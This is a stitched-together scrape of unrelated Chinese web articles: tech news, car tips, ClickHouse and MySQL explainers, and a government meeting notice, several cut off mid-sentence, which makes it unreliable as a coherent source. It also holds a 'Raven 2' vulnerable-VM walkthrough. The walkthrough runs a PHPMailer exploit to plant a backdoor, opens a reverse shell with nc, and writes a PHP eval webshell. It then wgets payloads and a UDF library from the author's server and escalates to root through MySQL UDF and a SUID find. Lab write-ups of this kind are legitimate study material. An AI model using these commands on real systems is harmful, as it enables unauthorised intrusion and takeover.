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指向也非常精準。

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2020-10-21

2020-10-21
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字號:[大] [中] [小]   2020年10月19-20日,全國輻射安全監管工作座談會在甘肅省蘭州市成功召開,生態環境部副部長、國家核安全局局長劉華出席會議並講話。   會上,生態環境部輻射源安全監管司、核設施安全監管司負責人分別介紹2020年輻射安全監管工作情況。江蘇省生態環境廳、輻射環境監測技術中心作典型發言,分別介紹輻射安全監管工作經驗。   會議指出,全系統要強化政治意識,切實提升核與輻射安全的責任感和使命感;強化憂患意識,清醒應對當前核與輻射安全監管工作中的風險和挑戰;強化擔當意識,努力加強核與輻射安全監管隊伍建設。要準確把握形勢任務,創新思路方法,

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這世界上有蠻多事情都有機會阻止甚至是逆轉,但 Facebook 似乎想讓我們知道,他們的改版不僅一定改,而且還會一直改。眼看大家還在適應剛改變的新版 Facebook,這次官方又再次宣布將會有重新設計的調整,魔爪則是伸向了粉絲專頁。繼續閱讀沒錯 Facebook 又改版了,差在哪你看得出來嗎?報導內文。

▲圖片來源:Facebook

沒錯 Facebook 又改版了,差在哪你看得出來嗎?

也許是看到了許多人對於新版粉絲專頁變難用的抱怨。總之,Facebook 已經捲起袖子要來做出改變。根據官方的改版要點整理,粉絲專頁的新設計將會更簡潔直覺,讓人更容易掌握專頁的資訊,也可以更快速切換個人檔案與粉絲專頁。

Facebook 還為粉絲專頁提供了專屬的動態消息 News Feed,讓人更容易在專頁上加入對話與追蹤趨勢加強社群之間互動的機會(這看起來就是將快速跟隨的功能再延伸提供…),並會讓知名人物的評論更容易置頂 — 這的確是比較能吸引其他粉絲互動是沒錯啦。

▲圖片來源:Facebook

應該也算是粉絲專頁的版面調整之一。就是近期已經更為偏重希望使用者多「追蹤(Follow)」的政策與功能,已經導致很多粉絲頁變成追蹤數大於讚數的狀況。現在 Facebook 也移除了按讚的孤能,也讓專頁只主要顯示追蹤數字。據說這樣是希望簡化與互動的方式… 但大家狂衝的讚數似乎也突然變得無意義起來了。

▲圖片來源:Facebook

最後,在一波看不太出來的改版之後,Facebook 也針對變得難用的粉絲專頁管理工具做出改進。針對頁面小編的權限提供了更好的權限管理工具 — 可針對廣告、內容、回訊的資格進行分別設定,也改進了通知功能,並加入新的問答頁面與安全功能等。

整體來講,這次的改版理論上應該是要讓觸及互動等表現更好,粉絲專頁的管理也會變得更為簡單才是。只是實際表現如何,顯然還有待台灣這邊開始更新才會知道了 — 據說會在未來幾週內更新(怕.mov)。

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ClickHouse源碼筆記1:聚合函數的實現_網頁設計公司

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由於工作的需求,後續筆者工作需要和開源的OLAP數據庫ClickHouse打交道。ClickHouse是Yandex在2016年6月15日開源了一個分析型數據庫,以強悍的單機處理能力被稱道
筆者在實際測試ClickHouse和閱讀ClickHouse的源碼過程之中,對”戰鬥民族”開發的數據庫十分欣賞。ClickHouse不僅是一個很好的數據庫學習材料,而且同時應用了大量的CPP17的新特性進行開發,也是一個大型的Modern CPP的教導資料。
筆者接下來會陸續將閱讀ClickHouse的部分心得體會與通過源碼閱讀筆記的方式和大家分享,坦白說,這種源碼閱讀筆記很難寫啊。(多一分繁瑣,少一分就模糊了~~)
第一篇文章,我們就從聚合函數的實現開始聊起~~ 上車!

1.基礎知識的梳理

什麼是聚合函數?

聚合函數: 顧名思義就是對一組數據執行聚合計算並返回結果的函數。
這類函數在數據庫之中很常見,如:count, max, min, sum等等。

ClickHouse的實現接口
  • IAggregateFunction接口
    在ClickHouse之中,定義了一個統一的聚合函數接口:IAggregateFunction.(在ClickHouse之中,所有的接口類都是以大寫的I開頭的。) 上文筆者提到的聚合函數,則都是作為抽象類IAggregateFunction的子類實現的。其中該接口最為核心的方法是下面這5個方法:
    • add函數:最為核心的調用接口,將對應AggregateDataPtr指針之中數據取出,與列columns中的第row_num的數據進行對應的聚合計算。(這裏可以看到ClickHouse是一個純粹的列式存儲數據庫,所有的操作都是基於列的數據結構。)
    • merge函數:將兩個聚合結果進行合併的函數,通常用在併發執行聚合函數的過程之中,需要將對應的聚合結果進行合併。
    • serialize函數與deserialize函數:序列化與反序列化的函數,通常用於spill to disk或分佈式場景需要保存或傳輸中間結果的。
    • addBatch函數:這是函數也是非常重要的,雖然它僅僅實現了一個for循環調用add函數。它通過這樣的方式來減少虛函數的調用次數,並且增加了編譯器內聯的概率。(虛函數的調用需要一次訪存指令,一次查表,最終才能定位到需要調用的函數上,這在傳統的火山模型的實現上會帶來極大的CPU開銷。
  /** Adds a value into aggregation data on which place points to.
     *  columns points to columns containing arguments of aggregation function.
     *  row_num is number of row which should be added.
     *  Additional parameter arena should be used instead of standard memory allocator if the addition requires memory allocation.
     */
    virtual void add(AggregateDataPtr place, const IColumn ** columns, size_t row_num, Arena * arena) const = 0;

    /// Merges state (on which place points to) with other state of current aggregation function.
    virtual void merge(AggregateDataPtr place, ConstAggregateDataPtr rhs, Arena * arena) const = 0;

    /// Serializes state (to transmit it over the network, for example).
    virtual void serialize(ConstAggregateDataPtr place, WriteBuffer & buf) const = 0;

    /// Deserializes state. This function is called only for empty (just created) states.
    virtual void deserialize(AggregateDataPtr place, ReadBuffer & buf, Arena * arena) const = 0;
    // /** Contains a loop with calls to "add" function. You can collect arguments into array "places"
      *  and do a single call to "addBatch" for devirtualization and inlining.
      */
    virtual void addBatch(size_t batch_size, AggregateDataPtr * places, size_t place_offset, const IColumn ** columns, Arena * arena) const = 0;

  • 抽象類IColumn
    上面的接口IAggregateFunction的函數使用到了ClickHouse的核心接口IColumn類,這裏也進行簡要的介紹。 IColumn 接口表達了所有數據在ClickHouse之中的用內存表達的數據結構,其他帶有具體數據類型的如ColumnUInt8、ColumnArray 等, 都實現了對應的列接口,並且在子類之中具象實現了不同的內存布局。
    IColumn的子類實現細節很瑣碎,筆者這裏就暫時不展開講了,筆者這裏就簡單講講涉及到聚合函數調用部分的IColumn接口的對應方法:
    這裏columns是一個二維數組,通過columns[0]可以取到第一列。(這裏只有涉及到一列,為什麼columns是二維數組呢?因為處理array等列的時候,也是通過對應的接口,而array就需要應用二維數組了. )
    注意這裡有一個強制的類型轉換,column已經轉換為ColVecType類型了,這是模板派生出IColumn的子類。
    然後通過IColumn子類實現的getData方法獲取對應row_num行的數據進行add函數調用就完成了一次聚合函數的計算了。
    void add(AggregateDataPtr place, const IColumn ** columns, size_t row_num, Arena *) const override
    {
        const auto & column = static_cast<const ColVecType &>(*columns[0]);
        this->data(place).add(column.getData()[row_num]);
    }
  • IAggregateFunctionHelper接口
    這個接口是上面提到 IAggregateFunction的輔助子類接口,它很巧妙的通過模板的類型派生,將虛函數的調用轉換為函數指針的調用,這個在實際聚合函數的實現過程之中能夠大大提高計算的效率。
    函數addFree就實現了我上述所說的過程,但是它是一個private的函數,所以通常我們都是通過getAddressOfAddFunction獲取對應的函數地址。這在聚合查詢的過程之中能夠提高20%左右的執行效率。
template <typename Derived>
class IAggregateFunctionHelper : public IAggregateFunction
{
private:
    static void addFree(const IAggregateFunction * that, AggregateDataPtr place, const IColumn ** columns, size_t row_num, Arena * arena)
    {
        static_cast<const Derived &>(*that).add(place, columns, row_num, arena);
    }

public:
    IAggregateFunctionHelper(const DataTypes & argument_types_, const Array & parameters_)
        : IAggregateFunction(argument_types_, parameters_) {}

    AddFunc getAddressOfAddFunction() const override { return &addFree; }
  • AggregateFunctionFactory類
    顧名思義,這個是一個生成聚合函數的工廠類。它的邏輯很簡單,所有ClickHouse之中所相關的聚合函數都是通過這個工廠類註冊並且獲取,然後進行調用的。
class AggregateFunctionFactory final : private boost::noncopyable, public IFactoryWithAliases<AggregateFunctionCreator>
{
public:

    static AggregateFunctionFactory & instance();

    /// Register a function by its name.
    /// No locking, you must register all functions before usage of get.
    void registerFunction(
        const String & name,
        Creator creator,
        CaseSensitiveness case_sensitiveness = CaseSensitive);

    /// Throws an exception if not found.
    AggregateFunctionPtr get(
        const String & name,
        const DataTypes & argument_types,
        const Array & parameters = {},
        int recursion_level = 0) const;

2.聚合函數的註冊流程

有了上述的背景知識,我們接下來舉個栗子。來看看一個聚合函數的實現細節,以及它是如何被使用的。

AggregateFunctionSum

筆者這裏選取了一個很簡單的聚合算子Sum,我們來看看它實現的代碼細節。
這裏我們可以看到AggregateFunctionSum是個final類,無法被繼承了。而它繼承了上面提到的IAggregateFunctionHelp類的子類IAggregateFunctionDataHelper類。

這裏我們就重點看,這個類override了getName方法,返回了對應的名字sum。並且實現了我們上文提到的四個核心的方法。

  • add
  • merge
  • seriable
  • deserialize
template <typename T, typename TResult, typename Data>
class AggregateFunctionSum final : public IAggregateFunctionDataHelper<Data, AggregateFunctionSum<T, TResult, Data>>
{
public:
    using ResultDataType = std::conditional_t<IsDecimalNumber<T>, DataTypeDecimal<TResult>, DataTypeNumber<TResult>>;
    using ColVecType = std::conditional_t<IsDecimalNumber<T>, ColumnDecimal<T>, ColumnVector<T>>;
    using ColVecResult = std::conditional_t<IsDecimalNumber<T>, ColumnDecimal<TResult>, ColumnVector<TResult>>;

    String getName() const override { return "sum"; }

    AggregateFunctionSum(const DataTypes & argument_types_)
        : IAggregateFunctionDataHelper<Data, AggregateFunctionSum<T, TResult, Data>>(argument_types_, {})
        , scale(0)
    {}

    AggregateFunctionSum(const IDataType & data_type, const DataTypes & argument_types_)
        : IAggregateFunctionDataHelper<Data, AggregateFunctionSum<T, TResult, Data>>(argument_types_, {})
        , scale(getDecimalScale(data_type))
    {}

    DataTypePtr getReturnType() const override
    {
        if constexpr (IsDecimalNumber<T>)
            return std::make_shared<ResultDataType>(ResultDataType::maxPrecision(), scale);
        else
            return std::make_shared<ResultDataType>();
    }

    void add(AggregateDataPtr place, const IColumn ** columns, size_t row_num, Arena *) const override
    {
        const auto & column = static_cast<const ColVecType &>(*columns[0]);
        this->data(place).add(column.getData()[row_num]);
    }

    void merge(AggregateDataPtr place, ConstAggregateDataPtr rhs, Arena *) const override
    {
        this->data(place).merge(this->data(rhs));
    }

    void serialize(ConstAggregateDataPtr place, WriteBuffer & buf) const override
    {
        this->data(place).write(buf);
    }

    void deserialize(AggregateDataPtr place, ReadBuffer & buf, Arena *) const override
    {
        this->data(place).read(buf);
    }

    void insertResultInto(ConstAggregateDataPtr place, IColumn & to) const override
    {
        auto & column = static_cast<ColVecResult &>(to);
        column.getData().push_back(this->data(place).get());
    }

private:
    UInt32 scale;
};

接下來,ClickHouse實現了兩種聚合計算:AggregateFunctionSumDataAggregateFunctionSumKahanData。後者是用Kahan算法避免float類型精度損失的,我們可以暫時不細看。直接看SumData的實現。這是個模板類,之前我們講到AggregateFunction的函數就是通過AggregateDataPtr指針來獲取AggregateFunctionSumData的地址,來調用add實現聚合算子的。我們可以看到AggregateFunctionSumData實現了前文提到的add, merge, write,read四大方法,正好和接口一一對應上了。

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template <typename T>
struct AggregateFunctionSumData
{
    T sum{};

    void add(T value)
    {
        sum += value;
    }

    void merge(const AggregateFunctionSumData & rhs)
    {
        sum += rhs.sum;
    }

    void write(WriteBuffer & buf) const
    {
        writeBinary(sum, buf);
    }

    void read(ReadBuffer & buf)
    {
        readBinary(sum, buf);
    }

    T get() const
    {
        return sum;
    }
};

ClickHouse在Server啟動時。main函數之中會調用registerAggregateFunction的初始化函數註冊所有的聚合函數。
然後調用到下面的函數:

void registerAggregateFunctionSum(AggregateFunctionFactory & factory)
{
    factory.registerFunction("sum", createAggregateFunctionSum<AggregateFunctionSumSimple>, AggregateFunctionFactory::CaseInsensitive);
    factory.registerFunction("sumWithOverflow", createAggregateFunctionSum<AggregateFunctionSumWithOverflow>);
    factory.registerFunction("sumKahan", createAggregateFunctionSum<AggregateFunctionSumKahan>);
}

這裏又調用了 factory.registerFunction("sum", createAggregateFunctionSum<AggregateFunctionSumSimple>, AggregateFunctionFactory::CaseInsensitive);來進行上述我們看到的聚合函數的註冊。這裡有一點很噁心的模板代碼,筆者這裏簡化了一下,把註冊的部分函數拉出來:

createAggregateFunctionSum(const std::string & name, const DataTypes & argument_types, const Array & parameters)
{
    AggregateFunctionPtr res;
    DataTypePtr data_type = argument_types[0];
    if (isDecimal(data_type))
        res.reset(createWithDecimalType<Function>(*data_type, *data_type, argument_types));
    else
        res.reset(createWithNumericType<Function>(*data_type, argument_types));
    return res;

這裏的Function模板就是上面的AggregateFunctionSumSimple, 而它又是下面的模板類型:

template <typename T> using AggregateFunctionSumSimple = typename SumSimple<T>::Function;

template <typename T>
struct SumSimple
{
    /// @note It uses slow Decimal128 (cause we need such a variant). sumWithOverflow is faster for Decimal32/64
    using ResultType = std::conditional_t<IsDecimalNumber<T>, Decimal128, NearestFieldType<T>>;
    using AggregateDataType = AggregateFunctionSumData<ResultType>;
    using Function = AggregateFunctionSum<T, ResultType, AggregateDataType>;
};

不知道讀者被繞暈了沒,最終繞回來還是new出來這個AggregateFunctionSum<T, ResultType, AggregateDataType>
也就是完成了這個求和算子的註冊,後續我們get出來就可以愉快的調用啦。(這裏這部分的模板變化比較複雜,如果看不明白可以回到源碼梳理一下~~~)

3. 小結

好了,關於聚合函數的基礎信息,和它是如何實現並且通過工廠方法註冊獲取的流程算是搞明白了。
關於其他的聚合算子,也是大同小異的方式。筆者就不再贅述了,感興趣的可以回到源碼之中繼續一探究竟。講完了聚合函數的實現,下一篇筆者就要繼續給探究聚合函數究竟在ClickHouse之中是如何和列存結合使用,並實現向量化的~~。
筆者是一個ClickHouse的初學者,對ClickHouse有興趣的同學,也歡迎和筆者多多指教,交流。

4. 參考資料

官方文檔
ClickHouse源代碼

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中間的差價就是它們的盈利額。但是對於我們消費者來說若是車輛發生重大事故、泡水、自燃或者盜搶,保險公司是按發票價為基準進行賠償,這無疑增加了一部分風險。

不選購精品

在購車以後,銷售基本會“乘勝追擊”向你推薦各種精品,例如汽車貼膜、迎賓踏板、發動機下護板等,而且這些產品的價格基本都是外面的一倍有餘,會美而言之“原裝件”,但實際上汽車廠商並沒有做到這類型的精品,我們在某寶上只要搜索“原裝件”就能找到很多打着“原廠”符號的精品,並且會發現這些產品都是一些小作坊的產品。

對比各類型的金融產品

對於選擇貸款購車的人來說,利息以及手續費都是一筆不小的開支,而事實上每一個金融機構的利息以及手續費都是不一樣的,所以我們要合理對比,有些金融機構甚至是有着廠家貼息的,這樣無疑能給你省下上萬元,這種貼息的品牌多半以上汽、日產為主,具體還是要多方面比較、詢問,選擇合適的金融產品。

明確購車所需費用

對於一些無良的4S店,他們總是給你設置各種各樣的雜費,貸款手續費、出庫費層出不窮。所以我們在買車的時候一定要白紙黑字明確各方面的費用,對於所贈送的東西也要將其記錄下來並雙方簽字,這樣就不會出現突然收取不該有的費用或者是該有的優惠、贈品沒有落實的情況。

所以買車過程講究的就是不怕麻煩、細心、謹慎以及理性,這樣才能以最低價格買到自己心儀的汽車,而對於不熟悉流程或者是汽車的新手朋友最好還是尋求一位“老司機”一同購車。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

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環境資訊中心綜合外電;姜唯 編譯;林大利 審校

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AMD 推出號稱 2021 最強筆電處理器 Ryzen 5000 系列_網頁設計公司

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AMD 在今日 CES 2021 的主題演講中發表了旗下最新 Ryzen 5000 筆電處理器,陣容中絕大多數都是採用該公司的 7nm「Zen 3 」架構,而會中主講人更是將該系列稱為 「有史以來效能最強大的筆電處理器」,H 與 U 兩個系列面向截然不同、各有需求的用戶而生。

AMD 推出號稱 2021 最強筆電處理器 Ryzen 5000 系列

與前一代產品同樣,5000 處理器群中分成兩個類別,分別為針對遊戲與創作者筆電而生的 H 系列與適用於輕便攜帶筆電的 U 系列,在兩個類別中包含了 Ryzen 3、Ryzen 5、Ryzen 7 和 Ryzen 9 四種等級,分別對應於 Intel 的 Core i3、Core i5、Core i7 和 Core i9 的簡化版本。除了新的 HX 系列外,H 系咧中還保留了在 4000 系列中看到的 H 與 HS 後綴型號。

U 系列主打 8 核心、16 執行緒的 Ryzen 7 5800U,具備 1.9GHz 時脈(Boots to 4.4 GHz),AMD 宣稱該處理器可提供輕薄筆電中最快速的生產效率。根據該公司提供的基準測試,在 PCMark 10 上的效能比 Intel Core i7-1165G7 高出 1.23 倍,包括在 Excel、Microsoft Edge 在內的文書辦公應用測試中皆可超越對手,不過在 PowerPoint 上兩者不分軒輊,Word 的表現上則是 Intel 大勝。AMD 還表示 5800U 可提供長達 17.5 小時的續航力,最長可擁有 21 小時影片播放。

H 系列中最強悍的莫過於 Ryzen 9 5980HS,同樣具備有 8 核心與 16 個執行緒,時脈為 3.0GHz(Boots to 4.8GHz),AMD 宣稱這是你可以找到最快速的行動處理器了。根據官方數據,Ryzen 9 5980HS 在 Cinebench R20 上在單執行緒效能達到 601(Intel 為 514)和多執行緒效能為 4349 (Intel Core i9 為 3892)都領先於 Intel Core i9-10980HK,並且從兩方面都擊敗了較新的 Core i7-1185G7。H系列中最新產品是 HX 系列處理器,AMD 將其定位為專業遊戲等級,並表示 Ryzen 9 5900HX 的 TDP 為45W +,將為 2021 年最佳遊戲筆電們提供強大的處理能力。根據官方提供的基準測試,與 Core i9-10980HK 相比,這款處理器在 Cinebench R20 的單執行緒測試方面勝過約 14%;在測試整體 CPU 效能的 Passmark P10 上高出 37%;在評估圖形效能的 3DMark Fire Strike Physics 測試則超出21%。 

在會中,AMD 表示今年將會有超過 150 款配備 Ryzen 5000 系列處理器的筆電推出,Lenovo、Gigabyte、Acer、Razer 等 OEM 廠商均表態支持,而 AMD CEO Dr. Lisa Su 更表示希望能在 2 月看到首部筆電上市。

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Raven 2 靶機滲透_網頁設計公司

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※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

前言

近幾天比較閑,在上周也閑着無聊跑去盒子挖了一周的洞。這周又開始不知道幹些啥了,所以就找個靶機來玩玩。

Raven 2 靶機滲透

搭建完環境后,發現並沒有登錄賬號和密碼,使用御劍高速掃描,先掃描機器的ip和端口,看看有沒有啥能利用到的。

發現了192.168.27.136 ip 並且80端口和22端口是開啟的,首先先從80端口,嘗試 來嘗試掃描目錄。

掃描目錄時,發現了/vendor/目錄並且有個wordpress 這時候就可以來嘗試一下wp的漏洞了,直接上wpscan 來掃描,沒有就放棄。

連接超時!!! 果斷放棄!!!

但是作為一個年輕小伙子怎麼能說放棄,要堅持!!![手動狗頭][手動狗頭]

翻找一下剛剛的目錄看看還能不能找到啥東西,當我點開/vendor/目錄的時候,發現存在一個目錄遍歷漏洞。

點開readme.md 發現是個PHPMailer

由於以前也沒見過,上百度查了一下才知道是個發送电子郵件的函數包。

去百度查找了一下 居然有命令執行漏洞。

為了方便,直接就在kali裏面的漏洞庫去查找exp

searchsploit phpmailer

這裡有好幾個exp,但是也不能一個一個去試,利用條件不一樣,還得去查找的他版本。
在我開啟vendor/version文件的時候,直接就显示了版本

確定版本后就可以直接下載exp了,

searchsploit -m 40974.py

首先查看一下代碼。

這裏的garget 和socket的connect的ip需要修改還有需要修改的是email字典後面的路徑,這個是寫入地址的絕對路徑。

那麼我們還需要查找他的絕對路徑。

http://192.168.27.136/vendor/PATH

文件裏面查找到了路徑,而且拿下了一個flag。

這裏並不打算去拿flag,而是直接拿權限[手動滑稽][手動滑稽]。

現在就可以開始來改我們的exp了

這裏把target改成了

http://192.168.27.136/contact.php
這個漏洞是基於contact.php的頁面產生的漏洞,所以地址得帶上這個頁面。

在運行exp的時候,py爆了個錯誤,說我的編碼有錯誤,我立馬在頭部加了一個utf-8的默認編碼方式,但是依然不行,肯定是這個工具啟動提示的時候,輸出了特殊字符所以才會這樣,把它刪掉就好了[手動滑稽][手動滑稽]。

這裏直接就執行成功,我們去訪問contact.php就會生成一個backdoor.php,訪問后可以直接反彈shell了
kali啟動一個nc監聽

nc -lvp 4444

訪問backdoor.php 反彈成功

nc 模式的shell不支持su交互,使用py進入到偽終端

python -c “import pty;pty.spawn(‘/bin/bash’)”

輸入whoami發現,是個www的權限,權限比較低,還需要進行提權的操作,先來查看一下開放的端口

netstat -ano

發現他的3306端口是開放的,mysql 5.6以下的默認安裝為system權限或者是root權限。這裏嘗試使用udf提權,先來翻找他的mysql密碼,
一般網站需要對數據庫進行查詢操作的話都是需要連接數據庫的,基本上都會去包含數據庫的連接文件,而數據庫連接文件一般命名為config.inc.php,config.php。
這裏就來找一下,進入wordpress目錄看到wp-config.php來查看一下。

翻找到了root賬號的密碼為:

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然後就可以嘗試去udf提權,但是我這嫌nc比較麻煩,所以還是寫入一個一句話木馬。

echo “<?php eval(@$_POST[‘a’]); ?>” > 1.php

寫入的時候發現post被過濾掉了,後來嘗試get和requsts也是一樣。

那麼就直接換個思路,直接讓他去請求遠程的文件進行下載

放在服務器上面的時候,不能一腳本格式進行上傳,不然腳本會直接運行,將他命名為cmd.txt文件,然後搭建臨時web服務

php -S 0.0.0.0:88 -t /root

使用php啟動web服務 設置根目錄為root

wget http://192.168.3.68:88/cmd.txt

請求文件

mv cmd.txt cmd.php
把文件改名為php後綴,然後使用蟻劍進行連接。

連接成功后,使用管理數據功能,進行mysql連接,查詢mysql版本信息。

這裏還有幾個注意事項,在mysql 4.1版本前任何的dll文件的函數都能導入到mysql裏面去讓mysql調用,
mysql 4.1-5.0 版本中,對註冊的dll位置做了限制,創建函數時候對應的dll不能包含斜杠或者反斜杠,
不能是絕對路徑,所以會將dll導出到systm32目錄下,去繞過這個限制。
在mysql5.1版本后,創建函數的dll只能放在mysql的plugin目錄下,也就是插件目錄

使用mysql語句來查看plugin目錄位置

show variables like ‘%plugin%’;

現在我們還得下載一個linux版本的udf

searchsploit udf

searchsploit -m 1518.c

從漏洞庫把udf下載下來后,是個c文件還得使用gcc進行編譯后才能使用

gcc -g -c 1518.c

gcc -g -shared -o udf.so 1518.o -lc

編譯完成后,使用wget遠程下載

wget http://192.168.3.68:88/udf.so

數據庫創建表:

create table nice(line blob);

表中插入udf.so的數據

insert into nice values(load_file(‘/var/www/html/udf.so’));

插入完成后,再使用sql語句從nice表中導出數據到plugin目錄下

select * from nice into dumpfile ‘/usr/lib/mysql/plugin/udf.so’;

導出完成后,這裏就可以直接創建一個函數,來進行執行命令了

create function do_system returns integer soname ‘udf.so’;

創建完成后可以查詢是否創建成功

select * from mysql.func;

select do_system(‘chmod u+s /usr/bin/find’);

touch finn

find finn -exec “/bin/sh” ;

whoami

提權成功。

cat flag4.txt

[手動狗頭][手動狗頭]flag真香

結尾

最近這感冒了,很難受,幹啥都沒精力,我想我還是需要妹子來溫暖我的心

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真正越野賽車和實際買到的SUV有什麼區別?_網頁設計公司

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2、進氣系統一輛標準的帕傑羅過水雖然沒有問題,但是速度要十分慢,快過沙子慢淌水這個道理大家都懂,但是賽車時前方的水坑也要全速沖,所以不改進氣車子過水的時候可能發動機就進水了。3、懸架懸架系統主要承擔緩衝和吸收衝擊的作用,以保護車身機械系統以及車輛電氣系統,如果懸架的強度不夠不能支持車輛飛躍等,這樣就導致每次爬坡到坡頂都必須減速,會浪費掉許多的時間。

對於越野車,不同的人有不同的理解,但是對於大多數人來說,大梁四驅就是越野車,可是如果越野賽車呢?

越野賽車大家都十分陌生,對於小編來說也一樣,不過通過這次參加騰衝站COC越野賽的機會,小編有幸感受到了真正的越野賽車的魅力。

越野賽車和越野車的區別在哪呢?

速度

歸根結底就在於速度兩字,其實對於豐田普拉多/三菱帕傑羅這類的我們熟悉的越野車來說,越野場地的大多數項目都不是問題,但是如果讓一輛原廠狀態的大切諾基來用越野賽車的跑法跑越野賽道的話,可能跑不完一圈車子就趴窩了。

原因就在於越野賽車需要有較高的速度,這樣就需要車子的輪胎/車身/懸架能夠承受更大的衝擊,因此真正的越野賽車對於這些方面都會進行改裝,那麼如果想讓你的車擁有迅速快速地跑完越野賽道的實力,需要改裝哪些地方呢?

1、輪胎

輪胎是和路面接觸的地方,越野賽場的路面可不一般,看似平坦實際上尖石粒到處都是,而越野賽車需要以70km/h左右的高速度碾壓路面,因此輪胎的耐用性十分重要,

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而且在泥地、沙地也需要輪胎提供足夠的抓地力,在車輛飛躍的時候輪胎也需要承擔並緩衝巨大的衝擊力。所以再強的越野車,如果輪胎不行,那麼也是白搭。

2、進氣系統

一輛標準的帕傑羅過水雖然沒有問題,但是速度要十分慢,快過沙子慢淌水這個道理大家都懂,但是賽車時前方的水坑也要全速沖,所以不改進氣車子過水的時候可能發動機就進水了。

3、懸架

懸架系統主要承擔緩衝和吸收衝擊的作用,以保護車身機械系統以及車輛電氣系統,如果懸架的強度不夠不能支持車輛飛躍等,這樣就導致每次爬坡到坡頂都必須減速,會浪費掉許多的時間。

4、前後包圍

為什麼包圍要改呢?一般車輛的接近角和離去角都比較小,對於高強度越野來說肯定是不夠的,所以拆掉前後包圍是最簡單的做法,也是普遍採取的做法。

5、防翻滾架/座位

這個雖然和性能無關,但是卻是保護安全的神器,防翻滾架是每部賽車的標配,即使車輛翻滾散架,防翻滾架都會保持完整。也能夠保護車內的駕乘人員。而安全帶則無需多言了,你以為3點式安全帶夠用?

最後的最後,可能有人就會問了,我不會把車改成這個樣子啊,其實小編想說的是,有的人開車遇到溝坎減速帶什麼的都不減速的,原理其實和賽車一樣,如果你真的需要暴力開,還真的要把車子改成高強度的狀態,量產車隨便虐只會大大減少壽命,甚至會直接弄毀車輛。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

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超乾貨!為了讓你徹底弄懂MySQL事務日誌,我通宵肝出了這份圖解!_如何寫文案

※別再煩惱如何寫文案,掌握八大原則!

什麼是銷售文案服務?A就是幫你撰寫適合的廣告文案。當您需要販售商品、宣傳活動、建立個人品牌,撰寫廣告文案都是必須的工作。

還記得剛上研究生的時候,導師常掛在嘴邊的一句話,“科研的基礎不過就是數據而已。”如今看來,無論是人文社科,還是自然科學,或許都可在一定程度上看作是數據的科學。

倘若剝開研究領域的外衣,將人的操作抽象出來,那麼科研的過程大概就是根據數據流動探索其中的未知信息吧。當然科學研究的範疇涵蓋甚廣,也不是一兩句話能夠拎得清的。不過從這個角度上的闡述,也只是為了引出數據的重要性。

在當今社會,充斥着大量的數據。從眾多APP上的賬戶資料到銀行信用體系等個人檔案,都離不開對大量數據的組織、存儲和管理。而這,便是數據庫存在的目的和價值。

目前數據庫的類型主要分為兩種,一種是關係型數據庫,另一種是非關係型數據庫(NoSQL)。而我們今天的主角MySQL就是關係型數據庫中的一種。

1 關係型數據庫與NoSQL

關係型數據庫,顧名思義,是指存儲的數據之間具有關係。這種所謂的關係通常用二維表格中的行列來表示,即一個二維表的邏輯結構能夠反映表中數據的存儲關係。

概念總是拗口難懂的。那麼簡單來說,關係型數據庫的存儲就是按照表格進行的。數據的存儲實際上就是對一個或者多個表格的存儲。通過對這些表格進行分類、合併、連接或者選取等運算來實現對數據庫的管理。常見的關係型數據庫有MySQL、Oracle、DB2和SqlServer等。

非關係型數據庫(NoSQL)是相對於關係型數據庫的一種泛指,它的特點是去掉了關係型數據庫中的關係特性,從而可獲得更好的擴展性。NoSQL並沒有嚴格的存儲方式,但採用不同的存儲結構都是為了獲得更高的性能和更高的併發。NoSQL根據存儲方式可分為四大類,鍵值存儲數據庫、列存儲數據庫、文檔型數據庫和圖形數據庫。這四種數據的存儲原理不盡相同,因而在應用場景上也有些許的差異。一般常用的有作為數據緩存的redis和分佈式系統的HBase。目前常見的數據庫排名可見網站:

https://db-engines.com/en/ranking

關係型數據庫與非關係型數據庫本質上的區別就在於存儲的數據是否具有一定的邏輯關係,由此產生的兩類數據庫看的性能和優劣勢上也有一定的區別。二者對比可見下圖。

2 MySQL簡介

介紹

在關係型數據庫中,MySQL可以說是其中的王者。它是目前最流行的數據庫之一,由瑞典 MySQL AB 公司開發,目前屬於 Oracle 公司。MySQL數據庫具有以下幾個方面的優勢:

  • 體積小、速度快;
  • 代碼開源,採用了 GPL 協議,可以修改源碼來開發自己的 MySQL 系統;
  • 支持大型的數據庫,可以處理擁有上千萬條記錄的大型數據庫;
  • 使用標準的 SQL 數據語言形式,並採用優化的 SQL 查詢算法,有效地提高查詢速度;
  • 使用 C 和 C++ 編寫,並使用多種編譯器進行測試,保證源代碼的可移植性;
  • 可運行在多個系統上,並且支持多種語言;
  • 核心程序採用完全的多線程編程,可以靈活地為用戶提供服務,充分利用CPU資源。

邏輯架構

MySQL的邏輯架構可分為四層,包括連接層、服務層、引擎層和存儲層,各層的接口交互及作用如下圖所示。需要注意的是,由於本文將主要講解事務的實現原理,因此下文針對的都是InnoDB引擎下的情況。

連接層:負責處理客戶端的連接以及權限的認證。

服務層:定義有許多不同的模塊,包括權限判斷,SQL接口,SQL解析,SQL分析優化, 緩存查詢的處理以及部分內置函數執行等。MySQL的查詢語句在服務層內進行解析、優化、緩存以及內置函數的實現和存儲。

引擎層:負責MySQL中數據的存儲和提取。MySQL中的服務器層不管理事務,事務是由存儲引擎實現的。其中使用最為廣泛的存儲引擎為InnoDB,其它的引擎都不支持事務。

存儲層:負責將數據存儲與設備的文件系統中。

3 MySQL事務

事務是MySQL區別於NoSQL的重要特徵,是保證關係型數據庫數據一致性的關鍵技術。事務可看作是對數據庫操作的基本執行單元,可能包含一個或者多個SQL語句。這些語句在執行時,要麼都執行,要麼都不執行。

事務的執行主要包括兩個操作,提交和回滾。

提交:commit,將事務執行結果寫入數據庫。

回滾:rollback,回滾所有已經執行的語句,返回修改之前的數據。

MySQL事務包含四個特性,號稱ACID四大天王。

原子性(Atomicity) :語句要麼全執行,要麼全不執行,是事務最核心的特性,事務本身就是以原子性來定義的;實現主要基於undo log日誌實現的。

持久性(Durability :保證事務提交后不會因為宕機等原因導致數據丟失;實現主要基於redo log日誌。

隔離性(Isolation) :保證事務執行盡可能不受其他事務影響;InnoDB默認的隔離級別是RR,RR的實現主要基於鎖機制、數據的隱藏列、undo log和類next-key lock機制。

一致性(Consistency) :事務追求的最終目標,一致性的實現既需要數據庫層面的保障,也需要應用層面的保障。
